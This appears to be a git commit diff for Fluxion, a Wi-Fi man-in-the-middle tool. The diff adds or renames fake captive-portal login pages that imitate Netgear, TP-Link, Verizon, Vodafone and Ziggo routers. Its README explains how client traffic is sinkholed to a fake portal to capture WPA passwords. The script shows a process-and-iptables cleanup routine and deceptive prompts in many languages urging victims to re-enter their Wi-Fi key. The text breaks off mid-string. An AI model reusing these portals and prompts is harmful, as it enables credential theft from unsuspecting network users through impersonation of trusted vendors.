rename sites/{Login-Netgear => netgear}/adv-wifi.htm (100%) create mode 100644 sites/netgear/css/MNUAccess.css create mode 100644 sites/netgear/css/button.css create mode 100644 sites/netgear/css/help.css create mode 100644 sites/netgear/css/jScrollPane.css create mode 100644 sites/netgear/css/jquery.flexbox.css create mode 100644 sites/netgear/css/jquery.jscrollpane.css create mode 100644 sites/netgear/css/mainpage.css create mode 100644 sites/netgear/css/menu.css create mode 100644 sites/netgear/css/qos_tabs.css create mode 100644 sites/netgear/css/scrollbar.css create mode 100644 sites/netgear/css/standalone.css create mode 100644 sites/netgear/css/table.css create mode 100644 sites/netgear/css/table_noh.css create mode 100644 sites/netgear/css/tabs.css create mode 100644 sites/netgear/img/AP_Mode_R7000.png create mode 100644 sites/netgear/img/add_icon.gif create mode 100644 sites/netgear/img/apply_icon.gif create mode 100644 sites/netgear/img/barrow.gif create mode 100644 sites/netgear/img/barrow.jpg create mode 100644 sites/netgear/img/barrow_down.jpg create mode 100644 sites/netgear/img/barrow_down_nobackground.gif create mode 100644 sites/netgear/img/barrow_nobackground.gif create mode 100644 sites/netgear/img/basic-gray-button-large.gif create mode 100644 sites/netgear/img/basic-purple-button.gif create mode 100644 sites/netgear/img/basic-white-button.gif create mode 100644 sites/netgear/img/box-header-background-large.gif create mode 100644 sites/netgear/img/cover-image.gif create mode 100644 sites/netgear/img/edit_icon.gif create mode 100644 sites/netgear/img/error-icon.gif create mode 100644 sites/netgear/img/firmware-hint-background-long.gif create mode 100644 sites/netgear/img/firmware-hint-background-short.gif rename sites/{NETGEAR-ENG => netgear_eng}/ayuda.htm (100%) rename sites/{NETGEAR-ENG => netgear_eng}/background.png (100%) rename sites/{NETGEAR-ENG => netgear_eng}/error.html (100%) rename sites/{NETGEAR-ENG => netgear_eng}/final.html (100%) rename sites/{NETGEAR-ENG => netgear_eng}/house.png (100%) rename sites/{NETGEAR-ENG => netgear_eng}/house1.png (100%) rename sites/{NETGEAR-ENG => netgear_eng}/index.htm (100%) rename sites/{NETGEAR-ENG => netgear_eng}/info.css (100%) rename sites/{NETGEAR-ENG => netgear_eng}/info.html (100%) rename sites/{NETGEAR-ENG => netgear_eng}/info2.css (100%) rename sites/{NETGEAR-ESP => netgear_esp}/ayuda.htm (100%) rename sites/{NETGEAR-ESP => netgear_esp}/background.png (100%) rename sites/{NETGEAR-ESP => netgear_esp}/error.html (100%) rename sites/{NETGEAR-ESP => netgear_esp}/final.html (100%) rename sites/{NETGEAR-ESP => netgear_esp}/house.png (100%) rename sites/{NETGEAR-ESP => netgear_esp}/house1.png (100%) rename sites/{NETGEAR-ESP => netgear_esp}/index.htm (100%) rename sites/{NETGEAR-ESP => netgear_esp}/info.css (100%) rename sites/{NETGEAR-ESP => netgear_esp}/info.html (100%) rename sites/{NETGEAR-ESP => netgear_esp}/info2.css (100%) create mode 100644 sites/neutra/ara create mode 100644 sites/neutra/bg create mode 100644 sites/neutra/cn create mode 100644 sites/neutra/cz create mode 100644 sites/neutra/dan create mode 100644 sites/neutra/en create mode 100644 sites/neutra/esp create mode 100644 sites/neutra/fr create mode 100644 sites/neutra/ger create mode 100644 sites/neutra/gr create mode 100644 sites/neutra/he create mode 100644 sites/neutra/hu create mode 100644 sites/neutra/id create mode 100644 sites/neutra/it create mode 100644 sites/neutra/nl create mode 100644 sites/neutra/no create mode 100644 sites/neutra/pl create mode 100644 sites/neutra/por create mode 100644 sites/neutra/ro create mode 100644 sites/neutra/rus create mode 100644 sites/neutra/srb create mode 100644 sites/neutra/svn create mode 100644 sites/neutra/th create mode 100644 sites/neutra/tr rename sites/{Upgrade-TP-LINK => tplink}/Upgrade-TP-LINK.zip (100%) rename sites/{Upgrade-TP-LINK => tplink}/Upgrade-TP-LINK.zip_base64.txt (100%) rename sites/{Upgrade-TP-LINK => tplink}/bootstrap.min.css (100%) rename sites/{Upgrade-TP-LINK => tplink}/bootstrap.min.js (100%) rename sites/{Upgrade-TP-LINK => tplink}/error.html (100%) rename sites/{Upgrade-TP-LINK => tplink}/final.html (100%) rename sites/{Upgrade-TP-LINK => tplink}/index.html (100%) rename sites/{Upgrade-TP-LINK => tplink}/jquery.min.js (100%) rename sites/{Login-Verizon => verizon}/Login-Verizon.zip (100%) rename sites/{Login-Verizon => verizon}/Login-Verizon.zip_base64.txt (100%) rename sites/{Login-Verizon => verizon}/Verizon.html (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_btm_bar.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_lt_btm_corner.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_lt_col.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_lt_top_corner.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_rt_btm_corner.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_rt_col.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_rt_top_corner.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/actiontec_top_bar.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/empty.gif (100%) rename sites/{Login-Verizon => verizon}/Verizon_files/vz_logo.gif (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/ayuda.htm (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/background.png (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/error.html (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/final.html (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/house.png (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/house1.png (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/index.htm (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/info.css (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/info.html (100%) rename sites/{VODAFONE-ESP => vodafone_esp}/info2.css (100%) rename sites/{ZIGGO2016_NL => ziggo2_nl}/Ziggo-logo.svg (100%) rename sites/{ZIGGO2016_NL => ziggo2_nl}/error.html (100%) rename sites/{ZIGGO2016_NL => ziggo2_nl}/final.html (100%) rename sites/{ZIGGO2016_NL => ziggo2_nl}/generic-mobemBG.jpg (100%) rename sites/{ZIGGO2016_NL => ziggo2_nl}/index.html (100%) rename sites/{ZIGGO2016_NL => ziggo2_nl}/white-transparent90.png (100%) rename sites/{ZIGGO_NL => ziggo_nl}/Ziggo-wifi-modem-header-1.gif (100%) rename sites/{ZIGGO_NL => ziggo_nl}/background_ziggo_blue_talks.gif (100%) rename sites/{ZIGGO_NL => ziggo_nl}/bg_invoer.png (100%) rename sites/{ZIGGO_NL => ziggo_nl}/btn_left.png (100%) rename sites/{ZIGGO_NL => ziggo_nl}/btn_right.png (100%) rename sites/{ZIGGO_NL => ziggo_nl}/error.html (100%) rename sites/{ZIGGO_NL => ziggo_nl}/final.html (100%) rename sites/{ZIGGO_NL => ziggo_nl}/index.html (100%) rename sites/{ZIGGO_NL => ziggo_nl}/portalWindow_top_bottom.png (100%) rename sites/{ZIGGO_NL => ziggo_nl}/table_bottom.png (100%) rename sites/{ZIGGO_NL => ziggo_nl}/table_top.png (100%) diff --git a/README.md b/README.md index 3254c7d..7e44b8e 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,21 @@ -

+

#Fluxion is the future of MITM WPA attacks -Fluxion is a remake of linset by vk496 with (hopefully) less bugs and more functionality. It's compatible with the latest release of Kali (rolling). The attack is mostly manual, but experimental versions will automatically handle most functionality from the stable releases. +[![Gitter](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/deltaxflux/Lobby) +Fluxion is a remake of linset by vk496 with (hopefully) less bugs and more functionality. It's compatible with the latest release of Kali (rolling). If you're new, or just don't understand much about the project, have a look at the [wiki] (https://github.com/deltaxflux/fluxion/wiki/Tutorial). The attack is mostly manual, but experimental versions will automatically handle most functionality from the stable releases. -### "Clients are not automatically connected to the fake access point" +## Create a deb file +This would be a pleasure for me, if someone can create a deb file. + +## :trident: Know things + +#### "Clients are not automatically connected to the fake access point" This is a social engineering attack and it's pointless to drag clients in automatically. The script relies on the fact that a user should be present in order to enter the wireless credentials. -### "There's no Internet connectivity in the fake access point" +#### "There's no Internet connectivity in the fake access point" There shouldn't be one. All of the traffic is being sinkholed to the built in captive portal via a fake DNS responder in order to capture the credentials. #### "Fake sites don't work" -There might be a problem with lighttpd. The experimental version is tested on lighttpd 1.439-1, anything neweer may break functionality. If you have problems, please use the stable version. +There might be a problem with lighttpd. The experimental version is tested on lighttpd 1.439-1, anything neweer may break functionality. If you have problems, please use the stable version. For more information check this [fix] (https://github.com/deltaxflux/fluxion/wiki/fix) out. #### "Experimental menu is not responsive" In the experimental version it will automatically check the handshake. I will fix the menu shortly. If you need a GUI, use the stable version (which doesn't automatically control handshakes). @@ -20,8 +26,8 @@ This is how the script works. The fake captive portal is set up by the script it #### "The MAC address of the fake access point differs from the original" The MAC address of the fake access point differs by one octet from the original in order to prevent fluxion deauthenticating clients from itself during the session. -### "Installation" -./install.sh +## Installation +``` wget https://raw.githubusercontent.com/deltaxflux/fluxion/master/install/install.sh && bash install.sh ``` ## Updates If you want to submit a feature, do so by labeling your issue as an "enhancement" or submit a PR. I don't have enough time to make daily changes to fluxion, sorry. @@ -33,10 +39,10 @@ If you want to submit a feature, do so by labeling your issue as an "enhancement ## :scroll: Changelog Fluxion gets weekly updates with new features, improvements and bugfixes. -Be sure to check out the [changelog here] (https://github.com/strasharo/fluxion/commits/master). +Be sure to check out the [changelog here] (https://github.com/deltaxflux/fluxion). ## :octocat: How to contribute -All contributions are welcome! Code, documentation, graphics or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it would be appreciated! +All contributions are welcome! Code, documentation, graphics or even design suggestions are welcome; use GitHub to its fullest. Submit pull requests, contribute tutorials or other wiki content -- whatever you have to offer, it would be appreciated! Please follow the instructions [here](https://github.com/deltaxflux/fluxion/blob/master/.github/CONTRIBUTING.md) ## :book: How it works * Scan the networks. diff --git a/_config.yml b/_config.yml new file mode 100644 index 0000000..c741881 --- /dev/null +++ b/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-slate \ No newline at end of file diff --git a/bash b/bash new file mode 100644 index 0000000..2d67675 --- /dev/null +++ b/bash @@ -0,0 +1,9 @@ + + +404 Not Found + +

Not Found

+

The requested URL /fluxion was not found on this server.

+

Additionally, a 404 Not Found +error was encountered while trying to use an ErrorDocument to handle the request.

+ diff --git a/changelog b/changelog new file mode 100644 index 0000000..4f0041b --- /dev/null +++ b/changelog @@ -0,0 +1,20 @@ +----------------------- General ----------------------- +revision=1 + + +---------------------- Changelog ---------------------- + +[Version: 2 , Revision 1] + +- rewrite code +- move files + - exitmode to lib/ + - source files to language + +- improve handeling +- remove disclaimer +- remove git support +- add checkupdate function +- fix airmon file + +---------------------- Changelog ---------------------- diff --git a/LICENSE b/docs/LICENSE similarity index 100% rename from LICENSE rename to docs/LICENSE diff --git a/fluxion b/fluxion index 8e91942..a75afad 100755 --- a/fluxion +++ b/fluxion @@ -36,8 +36,8 @@ HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" -revision=126 -version=0.25 +revision=3 +version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) @@ -88,14 +88,14 @@ function conditional_clear() { } function airmon { - chmod +x airmon + chmod +x lib/airmon/airmon } airmon # Check Updates function checkupdatess { - revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/strasharo/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + revision_online="$(timeout -s SIGTERM 20 curl "https://fluxion.tk/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else @@ -132,404 +132,10 @@ fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP -# KILL ALL -function exitmode { - if [ $FLUX_DEBUG != 1 ]; then - conditional_clear - top - echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - ./airmon stop $WIFI_MONITOR1 &> $flux_output_device - ./airmon stop $WIFI_MONITOR2 &> $flux_output_device - ./airmon stop $WIFI_MONITOR3 &> $flux_output_device - ./airmon stop $WIFI_MONITOR4 &> $flux_output_device - ./airmon stop $WIFI_MONITOR5 &> $flux_output_device - macchanger -p $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent"" - sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent"" - if [ ! -f $DUMP_PATH/iptables-rules ];then - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - else - iptables-restore < $DUMP_PATH/iptables-rules - fi - - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - if [ $KEEP_NETWORK = 0 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent"" - # systemctl check - systemd=`whereis systemctl` - if [ "$systemd" = "" ];then - service network-manager restart &> $flux_output_device & - service networkmanager restart &> $flux_output_device & - service networking restart &> $flux_output_device & - else - systemctl restart NetworkManager &> $flux_output_device & - fi - echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent"" - echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent"" - sleep 2 - clear - fi - - fi - - exit - -} - +source lib/exitmode #Languages for the web interface - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the WPA key to access the Internet." -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is not correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_ERROR_MSG_ENG="This field is required." -DIALOG_WEB_LENGTH_MIN_ENG="The password must be more than {0} characters!" -DIALOG_WEB_LENGTH_MAX_ENG="The password must be less than {0} characters!" -DIALOG_WEB_DIR_ENG="ltr" - -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen geben Sie bitte den WPA2 Schlüssel ein." -DIALOG_WEB_INPUT_GER="Geben Sie den WPA2 Schlüssel ein:" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Fehler: Das eingegebene Passwort ist nicht korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt." -DIALOG_WEB_BACK_GER="Zurück" -DIALOG_WEB_ERROR_MSG_GER="Dieses Feld ist ein Pflichtfeld." -DIALOG_WEB_LENGTH_MIN_GER="Das Passwort muss länger als {0} Zeichen sein" -DIALOG_WEB_LENGTH_MAX_GER="Das Passwort darf nicht länger als {0} Zeichen sein" -DIALOG_WEB_DIR_GER="ltr" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, teclea tu clave WPA para acceder a internet" -DIALOG_WEB_INPUT_ESP="Teclea tu contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida no es correcta" -DIALOG_WEB_OK_ESP="Tu conexión será restaurada en unos pocos minutos" -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_ERROR_MSG_ESP="Este campo es obligatorio." -DIALOG_WEB_LENGTH_MIN_ESP="La contraseña debe ser más de {0} caracteres!" -DIALOG_WEB_LENGTH_MAX_ESP="La contraseña debe ser menos de {0} caracteres!" -DIALOG_WEB_DIR_ESP="ltr" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password non è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_ERROR_MSG_IT="Campo obbligatorio." -DIALOG_WEB_LENGTH_MIN_IT="La password deve essere superiore a {0} caratteri" -DIALOG_WEB_LENGTH_MAX_IT="La password deve essere inferiore a {0} caratteri" -DIALOG_WEB_DIR_IT="ltr" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, entrez votre clé WPA" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Soumettre" -DIALOG_WEB_ERROR_FR="Erreur: Le mot de passe entré est incorrect!" -DIALOG_WEB_OK_FR="Votre connection va être restaurée dans un instant." -DIALOG_WEB_BACK_FR="Retour" -DIALOG_WEB_ERROR_MSG_FR="Ce champ est obligatoire." -DIALOG_WEB_LENGTH_MIN_FR="Le mot de passe doit avoir plus de {0} caractères" -DIALOG_WEB_LENGTH_MAX_FR="Le mot de passe doit avoir moins de {0} caractères" -DIALOG_WEB_DIR_FR="ltr" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite novamente a senha do Wifi" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada está incorreta!" -DIALOG_WEB_OK_POR="A sua conexão será restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_ERROR_MSG_POR="Campo de preenchimento obrigatório." -DIALOG_WEB_LENGTH_MIN_POR="A senha deve ter mais de {0} caracteres" -DIALOG_WEB_LENGTH_MAX_POR="A chave deve ser menor que {0} caracteres" -DIALOG_WEB_DIR_POR="ltr" - -#RUS -DIALOG_WEB_INFO_RUS="Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа." -DIALOG_WEB_INPUT_RUS="Введите пароль:" -DIALOG_WEB_SUBMIT_RUS="Отправить" -DIALOG_WEB_ERROR_RUS="Ошибка: Введенный пароль не верный!" -DIALOG_WEB_OK_RUS="Спасибо, соединение восстановится через несколько секунд." -DIALOG_WEB_BACK_RUS="Назад" -DIALOG_WEB_ERROR_MSG_RUS="Это поле необходимо заполнить." -DIALOG_WEB_LENGTH_MIN_RUS="Пароль должен быть не менее {0} символов!" -DIALOG_WEB_LENGTH_MAX_RUS="Пароль должен быть не более {0} символов!" -DIALOG_WEB_DIR_RUS="ltr" - -#TR -DIALOG_WEB_INFO_TR="İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:" -DIALOG_WEB_INPUT_TR="Lütfen parolanızı giriniz:" -DIALOG_WEB_SUBMIT_TR="Giriş" -DIALOG_WEB_ERROR_TR="Hata: girilen şifre doğru değil! " -DIALOG_WEB_OK_TR="Bağlantı birkaç dakika içinde yapılandırılacaktır." -DIALOG_WEB_BACK_TR="Geri" -DIALOG_WEB_ERROR_MSG_TR="Bu alanın doldurulması zorunludur." -DIALOG_WEB_LENGTH_MIN_TR="Parola en az {0} karakterden olmalıdır." -DIALOG_WEB_LENGTH_MAX_TR="Parola {0} karakterden daha fazla olmamalıdır." -DIALOG_WEB_DIR_TR="ltr" - -#RO -DIALOG_WEB_INFO_RO="Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet" -DIALOG_WEB_INPUT_RO="Parola WPA:" -DIALOG_WEB_SUBMIT_RO="Trimite" -DIALOG_WEB_ERROR_RO="Eroare: Parola introdusa nu este corecta!" -DIALOG_WEB_OK_RO="Conexiunea la Internet va porni in cateva momente." -DIALOG_WEB_BACK_RO="Inapoi" -DIALOG_WEB_ERROR_MSG_RO="Acest câmp este obligatoriu." -DIALOG_WEB_LENGTH_MIN_RO="Parola trebuie să fie mai mare de {0} de caractere!" -DIALOG_WEB_LENGTH_MAX_RO="Parola trebuie să fie mai mică de {0} de caractere!" -DIALOG_WEB_DIR_RO="ltr" - -#HU -DIALOG_WEB_INFO_HU="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez" -DIALOG_WEB_INPUT_HU="WPA jelszó:" -DIALOG_WEB_SUBMIT_HU="Küldés" -DIALOG_WEB_ERROR_HU="Hiba: A megadott jelszó helytelen!" -DIALOG_WEB_OK_HU="Az Internet kapcsolat helyreállt. " -DIALOG_WEB_BACK_HU="Vissza" -DIALOG_WEB_ERROR_MSG_HU="A jelszót kötelező megadni." -DIALOG_WEB_LENGTH_MIN_HU="A jelszó nem lehet kevesebb, mint {0} karakter!" -DIALOG_WEB_LENGTH_MAX_HU="A jelszó kevesebb mint {0} karakter kell hogy legyen!" -DIALOG_WEB_DIR_HU="ltr" - -#ARA -DIALOG_WEB_INFO_ARA="لأسباب أمنية، أدخل كلمة المرور الخاصة بالشبكة المدونة اعلاه من تشفير WPA للحصول على اتصال الانترنت" -DIALOG_WEB_INPUT_ARA="ادخل كلمة السر" -DIALOG_WEB_SUBMIT_ARA="تأكيد" -DIALOG_WEB_ERROR_ARA="خطأ: كلمة السر المدخلة غير صحيحة" -DIALOG_WEB_OK_ARA="سوف يتم استعادة الاتصال في لحظات قليلة! شكرا لتعاونكم" -DIALOG_WEB_BACK_ARA="العودة" -DIALOG_WEB_ERROR_MSG_ARA="هذا الحقل إلزامي" -DIALOG_WEB_LENGTH_MIN_ARA="يجب أن تكون كلمة المرور أكثر من {0} أحرف او ارقام" -DIALOG_WEB_LENGTH_MAX_ARA="يجب أن تكون كلمة المرور أقل من {0} حرفا او رقم" -DIALOG_WEB_DIR_ARA="rtl" - -#CN -DIALOG_WEB_INFO_CN="为了您的安全考量, 请输入 WPA 密码以重新连接网络" -DIALOG_WEB_INPUT_CN="输入您的WPA密码:" -DIALOG_WEB_SUBMIT_CN="连接" -DIALOG_WEB_ERROR_CN="出错了: 您输入的密码 错误!" -DIALOG_WEB_OK_CN="您的无线网络将会在短时间内恢复" -DIALOG_WEB_BACK_ZH_CN="返回" -DIALOG_WEB_ERROR_MSG_CN="此处不能为空" -DIALOG_WEB_LENGTH_MIN_CN="密码最少要有{0}个字符!" -DIALOG_WEB_LENGTH_MAX_CN="密码必须少于{0}个字符!" -DIALOG_WEB_DIR_CN="ltr" - -#GR -DIALOG_WEB_INFO_GR="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet." -DIALOG_WEB_INPUT_GR="Εισάγετε τον WPA κωδικό:" -DIALOG_WEB_SUBMIT_GR="Εισαγωγή" -DIALOG_WEB_ERROR_GR="Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!" -DIALOG_WEB_OK_GR="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά" -DIALOG_WEB_BACK_GR="Πίσω" -DIALOG_WEB_ERROR_MSG_GR="Αυτό το πεδίο είναι υποχρεωτικό." -DIALOG_WEB_LENGTH_MIN_GR="Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες" -DIALOG_WEB_LENGTH_MAX_GR="Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες" -DIALOG_WEB_DIR_GR="ltr" - -#CZ -DIALOG_WEB_INFO_CZ="Omlouváme se, ale došlo k problémům se zabezpečením vašeho bezdrátového routeru. Zadejte prosím znovu vaše heslo WPA/WPA2." -DIALOG_WEB_INPUT_CZ="Vaše heslo WPA/WPA2:" -DIALOG_WEB_SUBMIT_CZ="Odeslat" -DIALOG_WEB_ERROR_CZ="Chyba: Zadané heslo není správné!" -DIALOG_WEB_OK_CZ="Děkujeme, vaše připojení bude během krátké chvíle obnoveno." -DIALOG_WEB_BACK_CZ="Zpět" -DIALOG_WEB_ERROR_MSG_CZ="Toto pole musíte vyplnit." -DIALOG_WEB_LENGTH_MIN_CZ="Heslo musí být delší než {0} znak(ů)!" -DIALOG_WEB_LENGTH_MAX_CZ="Heslo musí být kratší než {0} znaků(ů)!" -DIALOG_WEB_DIR_CZ="ltr" - -#NO -DIALOG_WEB_INFO_NO="Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett" -DIALOG_WEB_INPUT_NO="Skriv inn ditt WPA-passord:" -DIALOG_WEB_SUBMIT_NO="Send inn" -DIALOG_WEB_ERROR_NO="Feilmelding: Passordet du skrev inn er IKKE riktig!" -DIALOG_WEB_OK_NO="Din tilkobling vil snart bli gjenopprettet." -DIALOG_WEB_BACK_NO="Tilbake" -DIALOG_WEB_ERROR_MSG_NO="Dette feltet er nødvendig." -DIALOG_WEB_LENGTH_MIN_NO="Passordet må inneholde mer enn {0} tegn" -DIALOG_WEB_LENGTH_MAX_NO="Passordet må inneholde ferre enn {0} tegn" -DIALOG_WEB_DIR_NO="ltr" - -#BG -DIALOG_WEB_INFO_BG="От съображения за сигурност е необходимо да въведете своята WPA парола за да получите достъп до Интернет." -DIALOG_WEB_INPUT_BG="Въведете своята WPA парола:" -DIALOG_WEB_SUBMIT_BG="Изпращане" -DIALOG_WEB_ERROR_BG="Грешка: Въведената парола е неправилна!" -DIALOG_WEB_OK_BG="Връзката ще бъде възстановена след няколко секунди." -DIALOG_WEB_BACK_BG="Назад" -DIALOG_WEB_ERROR_MSG_BG="Това поле е задължително!" -DIALOG_WEB_LENGTH_MIN_BG="Паролата трябва да съдържа повече от {0} символа!" -DIALOG_WEB_LENGTH_MAX_BG="Паролата трябва да съдържа по-малко от {0} символа!" -DIALOG_WEB_DIR_BG="ltr" - -#SRB by ghost -DIALOG_WEB_INFO_SRB="Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu." -DIALOG_WEB_INPUT_SRB="Unesite vašu WPA šifru:" -DIALOG_WEB_SUBMIT_SRB="Potvrdi" -DIALOG_WEB_ERROR_SRB="Greška: Šifra koju ste uneli nije tačna!" -DIALOG_WEB_OK_SRB="Vaša konekcija će biti restartovana za par sekundi." -DIALOG_WEB_BACK_SRB="Nazad" -DIALOG_WEB_ERROR_MSG_SRB="Ovo polje je obavezno." -DIALOG_WEB_LENGTH_MIN_SRB="Šifra mora biti duža od {0} simbola!" -DIALOG_WEB_LENGTH_MAX_SRB="Šifra mora biti kraća od {0} simbola!" -DIALOG_WEB_DIR_SRB="ltr" - -#PL -DIALOG_WEB_INFO_PL="Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu" -DIALOG_WEB_INPUT_PL="Wprowadź hasło WPA:" -DIALOG_WEB_SUBMIT_PL="Zatwierdź" -DIALOG_WEB_ERROR_PL="Błąd: Wprowadzone hasło nie jest poprawne!" -DIALOG_WEB_OK_PL="Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil." -DIALOG_WEB_BACK_PL="Powrót" -DIALOG_WEB_ERROR_MSG_PL="To pole jest obowiązkowe." -DIALOG_WEB_LENGTH_MIN_PL="Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!" -DIALOG_WEB_LENGTH_MAX_PL="Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!" -DIALOG_WEB_DIR_PL="ltr" - -#ID -DIALOG_WEB_INFO_ID="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet." -DIALOG_WEB_INPUT_ID="Masukkan WPA KEY (password wifi) anda:" -DIALOG_WEB_SUBMIT_ID="Masukkan" -DIALOG_WEB_ERROR_ID="Error: Password yang anda masukkan tidak sesuai!" -DIALOG_WEB_OK_ID="Anda akan dapat mengakses Internet dalam beberapa saat lagi." -DIALOG_WEB_BACK_ID="Kembali" -DIALOG_WEB_ERROR_MSG_ID="Kolom ini wajib diisi." -DIALOG_WEB_LENGTH_MIN_ID="Password harus lebih dari {0} karakter!" -DIALOG_WEB_LENGTH_MAX_ID="Password harus kurang dari {0} karakter!" -DIALOG_WEB_DIR_ID="ltr" - -#NL -DIALOG_WEB_INFO_NL="Voer 